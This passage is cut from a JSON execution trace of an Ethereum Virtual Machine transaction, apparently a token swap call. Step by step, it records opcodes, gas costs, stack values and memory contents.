","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":11890,"op":"PUSH1","gas":99056,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":11892,"op":"SHL","gas":99053,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":11893,"op":"SUB","gas":99050,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":11894,"op":"DUP6","gas":99047,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":11895,"op":"AND","gas":99044,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":11896,"op":"DUP5","gas":99041,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":11897,"op":"DUP5","gas":99038,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":11898,"op":"DUP5","gas":99035,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":11899,"op":"PUSH2","gas":99032,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":11902,"op":"JUMP","gas":99029,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x315c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":12636,"op":"JUMPDEST","gas":99021,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":12637,"op":"PUSH1","gas":99020,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":12639,"op":"MLOAD","gas":99017,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":12640,"op":"PUSH1","gas":99014,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":12642,"op":"PUSH1","gas":99011,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":12644,"op":"PUSH1","gas":99008,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":12646,"op":"SHL","gas":99005,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000